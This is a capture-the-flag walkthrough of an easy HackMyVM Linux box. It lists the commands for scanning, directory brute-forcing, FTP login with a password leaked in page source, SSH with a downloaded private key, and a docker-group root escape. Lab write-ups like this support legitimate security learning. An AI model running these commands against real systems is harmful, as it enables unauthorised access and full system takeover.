machine downloaded from https://hackmyvm.eu/
difficulty: Easy
OS: Linux
sudo netdiscover -i eth0 -r 192.168.5.0/24
The IP address is 192.168.5.59
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -vvv 192.168.5.59
-oN report.txt
This machine has 3 services exposed ftp, ssh and http on ports 21, 22 and 80
gobuster dir -u http://192.168.5.59/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
We find 2 urls. We can investigate them
We can see this list in the url http://192.168.5.59/hidden_text/secret.dic
gobuster dir -u http://192.168.5.59 -w secret_dic.txt
And we found a user password in the HTML source code.
ftp ftpuser@192.168.5.59
We can go to the shared folder.
We can download files with get command to read note.txt and download id_rsa file.
get note.txt
get id_rsa
We can browse through different folders and search by the name of different users.
sudo chmod 600 id_rsa
ssh -i id_rsa ariana@192.168.5.59
and we get the first flag user1.txt
sudo -u selena ./messenger.sh
We have the second flag, user2.txt, and we can run id and see that selena is a member of the group docker.
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Now we are root and can read root.txt in the root folder.